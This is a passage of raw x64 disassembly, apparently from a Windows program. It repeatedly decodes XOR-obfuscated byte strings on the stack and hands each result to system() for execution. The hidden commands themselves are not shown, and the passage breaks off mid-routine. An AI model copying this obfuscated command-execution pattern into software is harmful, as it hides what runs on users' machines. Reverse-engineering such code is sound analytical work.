movups xmm0, xmmword [0x14009bf70]
movups xmm1, xmmword [0x14009bf40]
movups xmmword [rbp + 0x2780], xmm0
movups xmmword [rbp + 0x2750], xmm1
movsd xmm0, qword [0x14009bf80]
movups xmm1, xmmword [0x14009bf60]
movsd qword [rbp + 0x2790], xmm0
movups xmmword [rbp + 0x2770], xmm1
cmp r15d, 2
jl 0x14000d7a0
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2704]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x14000d6a0
jmp 0x14000d7e3
lea r9, [rbp + 0x2700]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x14000d7b0
lea rcx, [rbp + 0x2700]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009da20]
movups xmmword [rbp + 0x1e40], xmm0
movups xmm0, xmmword [0x14009da40]
movups xmmword [rbp + 0x1e60], xmm0
movups xmm0, xmmword [0x14009da60]
movups xmm1, xmmword [0x14009da30]
movups xmmword [rbp + 0x1e80], xmm0
movups xmmword [rbp + 0x1e50], xmm1
movups xmm0, xmmword [0x14009da80]
movups xmm1, xmmword [0x14009da50]
movups xmmword [rbp + 0x1ea0], xmm0
movups xmmword [rbp + 0x1e70], xmm1
movups xmm0, xmmword [0x14009daa0]
movups xmm1, xmmword [0x14009da70]
movups xmmword [rbp + 0x1ec0], xmm0
movups xmmword [rbp + 0x1e90], xmm1
movzx eax, byte [0x14009dab8]
movsd xmm0, qword [0x14009dab0]
movups xmm1, xmmword [0x14009da90]
mov byte [rbp + 0x1ed8], al
movsd qword [rbp + 0x1ed0], xmm0
movups xmmword [rbp + 0x1eb0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000d9e9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1e44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000d8e0
cmp r8d, 0x99
jge 0x14000da33
movsxd rax, r8d
lea r9, [rbp + 0x1e40]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x14000da00
lea rcx, [rbp + 0x1e40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009c200]
movups xmmword [rbp + 0x1230], xmm0
movups xmm0, xmmword [0x14009c220]
movups xmm1, xmmword [0x14009c210]
movups xmmword [rbp + 0x1250], xmm0
movups xmmword [rbp + 0x1240], xmm1
mov eax, dword [0x14009c290]
movups xmm0, xmmword [0x14009c240]
movups xmm1, xmmword [0x14009c230]
mov dword [rbp + 0x12c0], eax
movups xmmword [rbp + 0x1270], xmm0
movups xmmword [rbp + 0x1260], xmm1
movzx eax, word [0x14009c294]
movups xmm0, xmmword [0x14009c260]
movups xmm1, xmmword [0x14009c250]
mov word [rbp + 0x12c4], ax
movups xmmword [rbp + 0x1290], xmm0
movups xmmword [rbp + 0x1280], xmm1
movzx eax, byte [0x14009c296]
movups xmm0, xmmword [0x14009c280]
movups xmm1, xmmword [0x14009c270]
mov byte [rbp + 0x12c6], al
movups xmmword [rbp + 0x12b0], xmm0
movups xmmword [rbp + 0x12a0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000dc39
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1234]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000db30
cmp r8d, 0x97
jge 0x14000dc83
movsxd rax, r8d
lea r9, [rbp + 0x1230]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x14000dc50
lea rcx, [rbp + 0x1230]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d5c0]
movups xmmword [rbp + 0x2670], xmm0
movups xmm0, xmmword [0x14009d5e0]
movups xmm1, xmmword [0x14009d5d0]
movups xmmword [rbp + 0x2690], xmm0
movups xmmword [rbp + 0x2680], xmm1
movups xmm0, xmmword [0x14009d600]
movups xmm1, xmmword [0x14009d5f0]
movups xmmword [rbp + 0x26b0], xmm0
movups xmmword [rbp + 0x26a0], xmm1
movups xmm0, xmmword [0x14009d620]
movups xmm1, xmmword [0x14009d610]
movups xmmword [rbp + 0x26d0], xmm0
movups xmmword [rbp + 0x26c0], xmm1
movsd xmm0, qword [0x14009d640]
movups xmm1, xmmword [0x14009d630]
movsd qword [rbp + 0x26f0], xmm0
movups xmmword [rbp + 0x26e0], xmm1
cmp r15d, 2
jl 0x14000de60
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2674]
mov r8d, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x14000dd60
jmp 0x14000dea3
lea r9, [rbp + 0x2670]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x14000de70
lea rcx, [rbp + 0x2670]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d4e0]
movups xmmword [rbp + 0x1ee0], xmm0
movups xmm0, xmmword [0x14009d500]
movups xmmword [rbp + 0x1f00], xmm0
movups xmm0, xmmword [0x14009d520]
movups xmm1, xmmword [0x14009d4f0]
movups xmmword [rbp + 0x1f20], xmm0
movups xmmword [rbp + 0x1ef0], xmm1
movups xmm0, xmmword [0x14009d540]
movups xmm1, xmmword [0x14009d510]
movups xmmword [rbp + 0x1f40], xmm0
movups xmmword [rbp + 0x1f10], xmm1
movups xmm0, xmmword [0x14009d560]
movups xmm1, xmmword [0x14009d530]
movups xmmword [rbp + 0x1f60], xmm0
movups xmmword [rbp + 0x1f30], xmm1
movzx eax, byte [0x14009d578]
movsd xmm0, qword [0x14009d570]
movups xmm1, xmmword [0x14009d550]
mov byte [rbp + 0x1f78], al
movsd qword [rbp + 0x1f70], xmm0
movups xmmword [rbp + 0x1f50], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000e0a9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1ee4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000dfa0
cmp r8d, 0x99
jge 0x14000e0f3
movsxd rax, r8d
lea r9, [rbp + 0x1ee0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x14000e0c0
lea rcx, [rbp + 0x1ee0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009c5e0]
movups xmmword [rbp + 0x1a60], xmm0
movups xmm0, xmmword [0x14009c600]
movups xmm1, xmmword [0x14009c5f0]
movups xmmword [rbp + 0x1a80], xmm0
movups xmmword [rbp + 0x1a70], xmm1
movups xmm0, xmmword [str.6_2]
movups xmm1, xmmword [0x14009c610]
movups xmmword [rbp + 0x1aa0], xmm0
movups xmmword [rbp + 0x1a90], xmm1
mov eax, dword [0x14009c670]
movups xmm0, xmmword [0x14009c640]
movups xmm1, xmmword [0x14009c630]
mov dword [rbp + 0x1af0], eax
movups xmmword [rbp + 0x1ac0], xmm0
movups xmmword [rbp + 0x1ab0], xmm1
movzx eax, word [0x14009c674]
movups xmm0, xmmword [0x14009c660]
movups xmm1, xmmword [0x14009c650]
mov word [rbp + 0x1af4], ax
movups xmmword [rbp + 0x1ae0], xmm0
movups xmmword [rbp + 0x1ad0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000e2e9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1a64]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000e1e0
cmp r8d, 0x96
jge 0x14000e333
movsxd rax, r8d
lea r9, [rbp + 0x1a60]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000e300
lea rcx, [rbp + 0x1a60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009c140]
movups xmmword [rbp + 0x1b00], xmm0
movups xmm0, xmmword [0x14009c160]
movups xmm1, xmmword [0x14009c150]
movups xmmword [rbp + 0x1b20], xmm0
movups xmmword [rbp + 0x1b10], xmm1
movups xmm0, xmmword [str.1_]
movups xmm1, xmmword [0x14009c170]
movups xmmword [rbp + 0x1b40], xmm0
movups xmmword [rbp + 0x1b30], xmm1
mov eax, dword [0x14009c1d0]
movups xmm0, xmmword [0x14009c1a0]
movups xmm1, xmmword [0x14009c190]
mov dword [rbp + 0x1b90], eax
movups xmmword [rbp + 0x1b60], xmm0
movups xmmword [rbp + 0x1b50], xmm1
movzx eax, word [0x14009c1d4]
movups xmm0, xmmword [0x14009c1c0]
movups xmm1, xmmword [0x14009c1b0]
mov word [rbp + 0x1b94], ax
movups xmmword [rbp + 0x1b80], xmm0
movups xmmword [rbp + 0x1b70], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000e529
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1b04]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000e420
cmp r8d, 0x96
jge 0x14000e573
movsxd rax, r8d
lea r9, [rbp + 0x1b00]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000e540
lea rcx, [rbp + 0x1b00]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009dd60]
movups xmmword [rbp + 0xb40], xmm0
movups xmm0, xmmword [0x14009dd80]
movups xmmword [rbp + 0xb60], xmm0
movups xmm0, xmmword [0x14009dda0]
movups xmm1, xmmword [0x14009dd70]
movups xmmword [rbp + 0xb80], xmm0
movups xmmword [rbp + 0xb50], xmm1
movzx eax, word [0x14009ddd8]
movups xmm0, xmmword [0x14009ddc0]
movups xmm1, xmmword [0x14009dd90]
mov word [rbp + 0xbb8], ax
movups xmmword [rbp + 0xba0], xmm0
movups xmmword [rbp + 0xb70], xmm1
movzx eax, byte [0x14009ddda]
movsd xmm0, qword [0x14009ddd0]
movups xmm1, xmmword [0x14009ddb0]
mov byte [rbp + 0xbba], al
movsd qword [rbp + 0xbb0], xmm0
movups xmmword [rbp + 0xb90], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000e763
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xb44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000e660
cmp r8d, 0x7b
jge 0x14000e7a0
movsxd rax, r8d
lea r9, [rbp + 0xb40]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x14000e770
lea rcx, [rbp + 0xb40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e690]
movups xmmword [rbp + 0xc50], xmm0
movups xmm0, xmmword [0x14009e6b0]
movups xmmword [rbp + 0xc70], xmm0
movups xmm0, xmmword [0x14009e6d0]
movups xmm1, xmmword [0x14009e6a0]
movups xmmword [rbp + 0xc90], xmm0
movups xmmword [rbp + 0xc60], xmm1
mov eax, dword [0x14009e708]
movups xmm0, xmmword [0x14009e6f0]
movups xmm1, xmmword [0x14009e6c0]
mov dword [rbp + 0xcc8], eax
movups xmmword [rbp + 0xcb0], xmm0
movups xmmword [rbp + 0xc80], xmm1
movzx eax, byte [0x14009e70c]
movsd xmm0, qword [0x14009e700]
movups xmm1, xmmword [0x14009e6e0]
mov byte [rbp + 0xccc], al
movsd qword [rbp + 0xcc0], xmm0
movups xmmword [rbp + 0xca0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000e983
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xc54]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
